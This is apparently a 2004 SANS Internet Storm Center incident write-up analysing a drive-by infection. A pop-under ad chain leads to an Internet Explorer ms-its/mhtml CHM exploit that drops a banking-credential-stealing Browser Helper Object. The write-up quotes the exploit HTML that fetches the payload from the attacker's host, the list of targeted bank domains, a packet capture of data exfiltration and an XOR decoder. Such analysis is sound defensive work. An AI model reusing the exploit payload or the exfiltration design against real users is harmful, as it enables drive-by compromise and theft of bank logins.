On June 24th, a visitor to the SANS Internet Storm Center reported that his company was "… in the middle of a very disturbing… issue regarding the adware/spyware/IE exploit genre…" He requested help analyzing an "encrypted or compressed" file that had been downloaded to a machine at their site.

From packet capture logs provided by the compromised site, it appears that the initial infection took place as a result of a pop-up advertisement. Unfortunately, the packet logs do not capture the complete sequence of events. The first step in the sequence of events leading to the compromise is a request to http://www4.yesadvertising.com:

```
GET
/loading.php?id=adpost&pop=exit&t=3&subid=9768&tid=1088092203&ref=http%3A//bannerser
ver4.adpost.com/%3Frotate HTTP/1.1
Accept: */*
Accept-Language: en-us
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; H010818)
Host: www4.yesadvertising.com
Connection: Keep-Alive
```

This HTTP GET request generates a response from what appears to be a standard rotating banner ad server which creates a time-delayed "pop-under" ad:

```
<HTML>
<HEAD>
<TITLE>Advertising_Loading_Window...</TITLE>
<script language="JavaScript">
<!--
GoHideMe();
function gopopup(){
   delCookie();
   var popURL=
"http://www4.yesadvertising.com/links.php?id=adpost&pk=&tid=d5a2b14eed3794bc9c6b2969
c9509162&subid=9768&ref=aHR0cDovL2Jhbm5lcnNlcnZlcjQuYWRwb3N0LmNvbS8%2Fcm90YXRl";
   self.location = popURL;
self.blur();
}
function GoHideMe(){
    self.blur();
    self.moveTo(10000,10000);
    self.resizeTo(1,1);
    self.blur();
  if (navigator.appName=="Netscape") {
    if(window.opener){
      window.opener.focus();
    }
  }
}
function delCookie(){
    document.cookie="active=0;";
}
function ReadCookie(cookieName) {
 var theCookie=""+document.cookie;
 var ind=theCookie.indexOf(cookieName);
 if (ind==-1 || cookieName=="") return "";
 var ind1=theCookie.indexOf(';',ind);
 if (ind1==-1) ind1=theCookie.length;
 return unescape(theCookie.substring(ind+cookieName.length+1,ind1));
}
//close the window
if (ReadCookie("popupnum") > 4 || ReadCookie("active") == 1 ){
  self.close();
}
document.cookie = "active=1";
//read the popup cookie
var popupnum = ReadCookie("popupnum");
```

```
if (popupnum == ""){
    document.cookie = "popupnum=1";
}
window.setTimeout("gopopup();", 3000);
// -->
</script>
</HEAD>
<BODY onFocus="GoHideMe();" BGCOLOR="#FFFFFF" TEXT="#000000" LINK="#0000FF"
VLINK="#800080"  onUnload="delCookie();">
<small>Advertising Loading Window, Powered by <a href="http://paypopup.com"
target="_blank">paypopup.com</a></small><br>
</BODY>
</HTML>
```

This HTML generates an additional follow-up HTTP GET:

```
GET
/links.php?id=adpost&pk=&tid=d5a2b14eed3794bc9c6b2969c9509162&subid=9768&ref=aHR0cDo
vL2Jhbm5lcnNlcnZlcjQuYWRwb3N0LmNvbS8%2Fcm9OYXRl HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/vnd.ms-
powerpoint, application/vnd.ms-excel, application/msword, application/x-shockwave-
flash, */*
Accept-Language: en-us
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; H010818)
Host: www4.yesadvertising.com
Connection: Keep-Alive
Cookie: PHPSESSID=d5a2b14eed3794bc9c6b2969c9509162; active=0; popupnum=1
```

And the response:

```
<HTML>
<HEAD>
<title>Pop-Under Advertising</title>
<script language="JavaScript">
<!--
function setGocookie(cookieName,cookieValue, hour) {
  var today = new Date();
  var expire = new Date();
  expire.setTime(today.getTime() + 3600000 * hour);
  if (hour > 0){
    document.cookie = cookieName+"="+escape(cookieValue)
                + ";expires="+expire.toGMTString();
  }else{//session
    document.cookie = cookieName+"="+escape(cookieValue);
  }
}
function ReadCookie(cookieName) {
 var theCookie=""+document.cookie;
 var ind=theCookie.indexOf(cookieName);
 if (ind==-1 || cookieName=="") return "";
 var ind1=theCookie.indexOf(';',ind);
 if (ind1==-1) ind1=theCookie.length;
 return unescape(theCookie.substring(ind+cookieName.length+1,ind1));
}
//read the popup cookie
var popupnum = ReadCookie("popupnum");
if (popupnum == ""){
   popupnum = 0;
}else{
   popupnum = parseInt(popupnum);
}
popupnum = popupnum + 1;
document.cookie = "popupnum="+popupnum;
setGocookie("popsite[0]", "1088004233", 24);
// -->
</script>
</HEAD>
<body>
```

```
<script language="JavaScript">
<!--
function maximizeWindow() {
 self.blur();
 if (parseInt(navigator.appVersion)>3) {
  if (navigator.appName=="Netscape") {
   if (top.screenX>0 || top.screenY>0) top.moveTo(0,0);
   if (top.outerWidth < screen.availWidth)
      top.outerWidth=screen.availWidth;
   if (top.outerHeight < screen.availHeight)
      top.outerHeight=screen.availHeight;
  }
  else {
    top.moveTo(-4,-4);
    top.resizeTo(screen.availWidth+8,screen.availHeight+8);
  }
 }
 self.blur();
}
maximizeWindow();
self.blur();
self.location = "http://www.eva.ee/EvaFrameset_eng.htm";
if (navigator.appName=="Netscape") {
  if(window.opener){
    window.opener.focus();
  }
}
// -->
</script>
</BODY>
</HTML>
```

This HTML results in a new HTTP GET to the machine at www.eva.ee (what appears to be the Estonian Water Aerobics Club – Hypothesis: this makes me wonder if, perhaps, the banner ad server has been compromised. Because, as we will see, this link leads directly to an HTML file containing a .chm compromise, and because it seems quite unlikely that an Estonian swim club would be sporting banner ads, this seems to be the most probable scenario.)

The EvaFrameset_eng.htm file is then downloaded from www.eva.ee:

```
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Frameset//EN"
"http://www.w3.org/TR/html4/frameset.dtd">
<html>
<head>
<title>ESTONIAN WATERAEROBICS ASSOCIATION</title>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
</head>
<frameset rows="*" cols="255,*" framespacing="0" frameborder="NO" border="0">
  <frame src="menu_eng.htm" name="leftFrame" scrolling="NO" noresize>
 <iframe width=0 height=0 src="www.mymaydayinc.com/index2.php"></iframe>  <frame
src="http://www.mymaydayinc.com/index2.php" name="mainFrame">
</frameset>
<noframes><body>
</body></noframes>
</html>
```

This document the uses an iframe to force the loading of a file using a URL of http://www.mymaydayinc.com/index2.php:

```
<html>
<head>
</head>
<body>
2d9
     <div style.none>
         <object data='http://www.mymaydayinc.com/photos.php'>
```

```
        </object>
        <object type='text/x-scriptlet' data='ms-
its:mhtml:file://c:\sdfs.mht!http://www.mymaydayinc.com/iexpl.chm::/idx.htm'
style='visibility:hidden'>
        </object>
        <img width=1 height=1 src='ms-
its:mhtml:file://c:\sdfs.mht!http://www.mymaydayinc.com/iexpl.chm::/idx.htm'>
        <img width=1 height=1 src='ms-
its:mhtml:file://c:\sdfs.mht!http://www.mymaydayinc.com/iexpl.chm::/idx.htm'>
        <img width=1 height=1 src='ms-
its:mhtml:file://c:\sdfs.mht!http://www.mymaydayinc.com/iexpl.chm::/idx.htm'>
        <iframe width=1 height=1 src='http://www.mymaydayinc.com/redir.php'>
        </div>
</body>
</html>
```

The HTML here attempts to exploit a known flaw in Internet Explorer to load and execute a .chm file. At the same time, it appears to have executed a script on www.mymaydayinc.com called photos.php. At this point, the packet captures provided by the victim end, but it is possible to make some intelligent guesses as to what happened next.

The victim of the attack found a file called “img1big.gif” had been loaded onto their machine. Because of the account restrictions on the person running the machine, it had failed to install properly, which was why it had come to their attention. It is this file that they forwarded to the SANS Internet Storm Center for analysis.

The file “img1big.gif” is not a graphic file at all. It is actually a 27648 byte Win32 executable that has been compressed using the Open Source executable compressor UPX. (Hypothesis: the .chm exploit, shown above is likely used to rename and execute this file.)

This file decompresses to an 81920 byte file which actually contains two Win32 executables bound together. The first portion of the file (and what actually runs if the file extension is changed and the program is launched) is a “file dropper” Trojan, designed to install any executable concatenated to its body.

The second half of the file consists of a Win32 DLL that is installed by the file dropper under WindowsXP as a randomly named .dll file under C:\WINDOWS\System32\. This DLL is installed as a “Browser Helper Object” (BHO) under Internet Explorer.

A "Browser Helper Object" is a DLL that allows developers to customize and control Internet Explorer. When IE 4.x and higher starts, it reads the registry to locate installed BHO's and then loads them into the memory space for IE. Created BHO's then have access to all the events and properties of that browsing session.

This particular BHO watches for HTTPS (secure) access to URLs containing the following strings:

.commbank.com.au
.citibank.com
.stgeorge.com.au

.bendigobank.com.au
.anz.com
national.com.au
westpac.com.au
.hsbc.com.au
barclays.co.uk
lloydstsb.co.uk
citibank.com.au
.online-banking.standardchartered.com.hk
www.ebank.iba.com.hk
www.dahsing.com
www.citibank.com.hk
.hsbc.com.hk
.deutsche-bank.de
.citibank.de
.sparkasse-banking.de
banking.lbbw.de
dit-online.de
.dab-bank.com
www1.bmo.com
www.scotiaonline.scotiabank.com
cibconline.cibc.com
www1.royalbank.com
easyweb.tdcanadatrust.com
suncorpmetway.com.au
cd.citibank.co.ae
ebank.uae.hsbc.com
banknetpower.net
nbd.ae
online-banking.standardchartered.ae
standardchartered.com
www.cbdonline.ae
www.arabi-online.com
banking.mashreqbank.com
www.unb.com
online.nbad.com
pbg1.edc.citiaccess.com
www.privatebank.citibank.com.sg
ekocbank.kocbank.com.tr
internetsube.akbank.com.tr
hercules.pamukbank.com.tr
www.alahlionline.com
www.samba.com
www.almubasher.com.sa
www.sabbnet.com
.e-gold.com

When an outbound HTTPS connection is made to such a URL, the BHO then grabs any outbound POST/GET data from within IE ***before*** it is encrypted by SSL. When it captures data, it creates an outbound HTTP connection to:

http://www.refestltd.com/cgi-bin/yes.pl

and feeds the captured data to the script found at that location.

The following shows a captured session with refsetltd.com:

```
 16:19:20.203030 IP (tos 0x0, ttl 128, id 1109, len 48) 192.168.110.129.1058 >
66.226.64.11.80: S [tcp sum ok] 2116963165:2116963165(0) win 64240 <mss
1460,nop,nop,sackOK> (DF)
0x0000   4500 0030 0455 4000 8006 445c c0a8 6e81 E..0.U@...D\..n.
0x0010   42e2 400b 0422 0050 7e2e 4b5d 0000 0000 B.@..".P~.K]....
0x0020   7002 faf0 081a 0000 0204 05b4 0101 0402 p...............
16:19:20.288301 IP (tos 0x0, ttl 128, id 3718, len 44) 66.226.64.11.80 >
192.168.110.129.1058: S [tcp sum ok] 329212479:329212479(0) ack 2116963166 win 64240
<mss 1460>
0x0000   4500 002c 0e86 0000 8006 7a2f 42e2 400b E..,......z/B.@.
0x0010   c0a8 6e81 0050 0422 139f 623f 7e2e 4b5e ..n..P."..b?~.K^
0x0020   6012 faf0 a731 0000 0204 05b4           `....1......
16:19:20.288516 IP (tos 0x0, ttl 128, id 1110, len 40) 192.168.110.129.1058 >
66.226.64.11.80: . [tcp sum ok] 1:1(0) ack 1 win 64240 (DF)
0x0000   4500 0028 0456 4000 8006 4463 c0a8 6e81 E..(.V@...Dc..n.
0x0010   42e2 400b 0422 0050 7e2e 4b5e 139f 6240 B.@..".P~.K^..b@
0x0020   5010 faf0 beee 0000 4745 5420 2f41      P.......GET./A
16:19:20.288849 IP (tos 0x0, ttl 128, id 1111, len 546) 192.168.110.129.1058 >
66.226.64.11.80: P [tcp sum ok] 1:507(506) ack 1 win 64240 (DF)
0x0000   4500 0222 0457 4000 8006 4268 c0a8 6e81 E.."W@...Bh..n.
0x0010   42e2 400b 0422 0050 7e2e 4b5e 139f 6240 B.@..".P~.K^..b@
0x0020   5018 faf0 7990 0000 504f 5354 202f 6367 P...y...POST./cg
0x0030   692d 6269 6e2f 7965 732e 7063 2048 5454 i-bin/yes.pl.HTT
0x0040   502f 312e 310d 0a43 6f6e 7465 6e74 2d54 P/1.1..Content-T
0x0050   7970 653a 206d 756c 7469 7061 7274 2f66 ype:.multipart/f
0x0060   6f72 6d2d 6461 7461 3b20 626f 756e 6461 orm-data;.bounda
0x0070   7279 3d2d 2d2d 2d2d 2d2d 2d2d 2d2d 2d2d ry=----------
0x0080   2d2d 2d2d 2d2d 2d2d 2d2d 2d2d 2d34 3561 ----------45a
0x0090   6462 3338 7833 3563 0d0a 486f 7374 3a20 db38x35c..Host:.
0x00a0   7777 772e 7265 6665 7374 6c74 642e 636f www.refestltd.co
0x00b0   6d0d 0a43 6f6e 7465 6e74 2d4c 656e 6774 m..Content-Lengt
0x00c0   683a 2033 3139 0d0a 4361 6368 652d 436f h:.319..Cache-Co
0x00d0   6e74 726f 6c3a 206e 6f2d 6361 6368 650d ntrol:.no-cache.
0x00e0   0a0d 0a2d 2d2d 2d2d 2d2d 2d2d 2d2d ...-----------
0x00f0   2d2d 2d2d 2d2d 2d2d 2d2d 2d2d 2d2d 2d34 ----------4
0x0100   3561 6462 3338 7833 3563 0d0a 436f 6e74 5adb38x35c..Cont
0x0110   656e 742d 5479 7065 3a20 6170 706c 6963 ent-Type:.applic
0x0120   6174 696f 6e2f 6f63 7465 742d 7374 7265 ation/octet-stre
0x0130   616d 0d0a 436f 6e74 656e 742d 4469 7370 am..Content-Disp
0x0140   6f73 6974 696f 6e3a 2066 6f72 6d2d 6461 osition:.form-da
0x0150   7461 3b20 6e61 6d65 3d22 6122 3b20 6669 ta;.name="a";.fi
0x0160   6c65 6e61 6d65 3d22 6822 0d0a 0d0a 05ea lename="h".....
0x0170   d520 f83f 08bd 0611 c6bf 1241 26ce 0ebd ...?.......A&...
0x0180   cf2d ad6c 55a2 1f41 c8ea 175e 2ac7 06e9 .-.lU..A...^*...
0x0190   da20 e635 45fb 5b07 cbf4 5c1b 6589 18ad ...5E.[...\.e...
0x01a0   8c77 b43e 5ee2 0401 9fb2 1d09 66d1 50b1 .w.>^.......f.P.
0x01b0   9066 ee2e 52fd 4e11 9ff5 121f 6282 6697 .f..R.N.....b.f.
0x01c0   b141 e61e 44fc 5f3d b5e6 0709 618a 07e9 .A..D._=....a...
0x01d0   c445 fb2e 42f8 4406 95e6 425e 21ca 03ee .E..B.D...B^!...
0x01e0   c47c f73c 56ea 050c cce8 454a 7b93 57bf .|.<V.....EJ{.W.
0x01f0   873b e360 070d 0a2d 2d2d 2d2d 2d2d 2d2d .;.`...---------
0x0200   2d2d 2d2d 2d2d 2d2d 2d2d 2d2d 2d2d 2d2d ----------
0x0210   2d2d 2d34 3561 6462 3338 7833 3563 2d2d ---45adb38x35c--
0x0220   0d0a                                    ..
16:19:20.289035 IP (tos 0x0, ttl 128, id 3719, len 40) 66.226.64.11.80 >
192.168.110.129.1058: . [tcp sum ok] 1:1(0) ack 507 win 64240
0x0000   4500 0028 0e87 0000 8006 7a32 42e2 400b E..(......z2B.@.
0x0010   c0a8 6e81 0050 0422 139f 6240 7e2e 4d58 ..n..P."..b@~.MX
0x0020   5010 faf0 bcf4 0000                     P.......
```

```
16:19:20.538383 IP (tos 0x0, ttl 128, id 3720, len 231) 66.226.64.11.80 >
192.168.110.129.1058: P [tcp sum ok] 1:192(191) ack 507 win 64240
0x0000   4500 00e7 0e88 0000 8006 7972 42e2 400b E.........yrB.@.
0x0010   c0a8 6e81 0050 0422 139f 6240 7e2e 4d58 ..n..P."..b@~.MX
0x0020   5018 faf0 c2f7 0000 4854 5450 2f31 2e31 P.......HTTP/1.1
0x0030   2032 3030 204f 4b0d 0a44 6174 653a 2054 .200.OK..Date:.T
0x0040   6875 2c20 3234 204a 756e 2032 3030 3420 hu,.24.Jun.2004.
0x0050   3231 3a31 373a 3536 2047 4d54 0d0a 5365 21:17:56.GMT..Se
0x0060   7276 6572 3a20 4170 6163 6865 2f31 2e33 rver:.Apache/1.3
0x0070   2e32 3920 2855 6e69 7829 206d 6f64 5f66 .29.(Unix).mod_f
0x0080   6173 7463 6769 2f32 2e34 2e32 2046 726f astcgi/2.4.2.Fro
0x0090   6e74 5061 6765 2f35 2e30 2e32 2e32 3633 ntPage/5.0.2.263
0x00a0   3420 6d6f 645f 6a6b 2f31 2e32 2e35 0d0a 4.mod_jk/1.2.5..
0x00b0   5472 616e 7366 6572 2d45 6e63 6f64 696e Transfer-Encodin
0x00c0   673a 2063 6875 6e6b 6564 0d0a 436f 6e74 g:.chunked..Cont
0x00d0   656e 742d 5479 7065 3a20 7465 7874 2f68 ent-Type:.text/h
0x00e0   746d 6c0d 0a0d 0a                       tml....
16:19:20.540288 IP (tos 0x0, ttl 128, id 1112, len 40) 192.168.110.129.1058 >
66.226.64.11.80: F [tcp sum ok] 507:507(0) ack 192 win 64049 (DF)
0x0000   4500 0028 0458 4000 8006 4461 c0a8 6e81 E..(.X@...Da..n.
0x0010   42e2 400b 0422 0050 7e2e 4d58 139f 62ff B.@.."P~.MX..b.
0x0020   5011 fa31 bcf3 0000 4745 5420 2f54      P..1....GET./T
16:19:20.540444 IP (tos 0x0, ttl 128, id 3721, len 40) 66.226.64.11.80 >
192.168.110.129.1058: . [tcp sum ok] 192:192(0) ack 508 win 64239
0x0000   4500 0028 0e89 0000 8006 7a30 42e2 400b E..(......z0B.@.
0x0010   c0a8 6e81 0050 0422 139f 62ff 7e2e 4d59 ..n..P."..b.~.MY
0x0020   5010 faef bc35 0000                     P....5..
16:19:20.541415 IP (tos 0x0, ttl 128, id 3722, len 45) 66.226.64.11.80 >
192.168.110.129.1058: P [tcp sum ok] 192:197(5) ack 508 win 64239
0x0000   4500 002d 0e8a 0000 8006 7a2a 42e2 400b E..-......z*B.@.
0x0010   c0a8 6e81 0050 0422 139f 62ff 7e2e 4d59 ..n..P."..b.~.MY
0x0020   5018 faef 780e 0000 300d 0a0d 0a        P...x...0....
16:19:20.541731 IP (tos 0x0, ttl 128, id 1113, len 40) 192.168.110.129.1058 >
66.226.64.11.80: R [tcp sum ok] 2116963673:2116963673(0) win 0 (DF)
0x0000   4500 0028 0459 4000 8006 4460 c0a8 6e81 E..(.Y@...D`..n.
0x0010   42e2 400b 0422 0050 7e2e 4d59 139f 62ff B.@.."P~.MY..b.
0x0020  5004 0000 b731 0000 4745 5420 2f54       P....1..GET./T
```

The captured data was a result of connecting to http://www.unb.com (Union National Bank) and attempting to log-in using a bogus id and password.

The BHO captures personal data and encrypts it to bypass intrusion detection software that watches network traffic for instances of cleartext messages containing specific account information. The encryption routine used by this BHO can be reversed using the following simple perl script:

```
#!/usr/bin/perl

@key = (0x36,0xD8,0xE2,0x15,0x9A,0x5D,0x31,0x8F,
        0x2B,0x74,0xF1,0xDB,0x73,0x6C,0x12,0xFE);

$count = 0;
open(INFILE,"data.bin");
binmode(INFILE);
while(read(INFILE, $in, 1) == 1){
    printf("%c", scalar(unpack("C",$in)) ^ @key[$count % 16]);
    $count++;
}
close(INFILE);
```

In this case, reversing the encrypted data sent in the above transaction shows the information that the BHO sends to its authors:

```
3275bb92-e7da-408e-871d-4591d2890185|
https://www.unb.com/uninet/firstscreen.asp|
POST|
CustID=test11&Password=123456&image.x=36&image.y=6
```

The first field is a UUID for the machine which sent the data. This is a unique identifier of the PC that sent the information. The second field shows the URL to where the connection was made. The third field shows that the information was transmitted as a POST. The fourth field contains the actual POST information that the BHO was able to grab prior to it being encrypted and sent.

I believe that this particular type of malware represents a huge threat to the online financial industry. As the proliferation of ad/spyware shows, installing executable software on user's machines is far too easy. The approach of using a BHO makes this method of stealing identity information all the more insidious.

-Tom Liston
tliston@premmag.com

Appendix A:

Background information on the websites found in the above information:

yesadvertising.com

```
FQDN:
    www4.yesadvertising.com

Aliases:

Addresses:
    216.40.250.58


OrgName:    Everyones Internet, Inc.
OrgID:      EVRY
Address:    2600 Southwest Freeway
Address:    Suite 500
City:       Houston
StateProv:  TX
PostalCode: 77098
Country:    US

NetRange:   216.40.192.0 - 216.40.255.255
CIDR:       216.40.192.0/18


Domain name: yesadvertising.com

Registrant Contact:
   yesup ecommerce solutions Inc.
   zhen zeng (yesupinc@yahoo.com)
   +1.9057639724
   Fax:
   330 Highway 7 East, Suite 202
   Richmond Hill, ON L4B3P8
   CA
```

eva.ee

```
FQDN:
    eva.ee

Aliases:
    www.eva.ee

Addresses:
    207.44.204.83


OrgName:    Everyones Internet, Inc.
OrgID:      EVRY
Address:    2600 Southwest Freeway
Address:    Suite 500
City:       Houston
StateProv:  TX
PostalCode: 77098
Country:    US

NetRange:   207.44.128.0 - 207.44.255.255
CIDR:       207.44.128.0/17
```

refestltd.com

```
FQDN:
    refestltd.com

Aliases:
    www.refestltd.com

Addresses:
    66.226.64.11


OrgName:    Abacus America Inc.
```

```
OrgID:      ABAC
Address:    5276 Eastgate Mall
City:       San Diego
StateProv:  CA
PostalCode: 92121
Country:    US

NetRange:   66.226.64.0 - 66.226.95.255
CIDR:       66.226.64.0/19


Domain name: refestltd.com

Registrant:
   Jay Seaton (6PPPG) jay@tremjade.com
   NA
   NA,    NA    00000
   United States
   Phone: (913)6814254 x
```

(Note: the phone number is bogus… It's for a school in KS. -TL)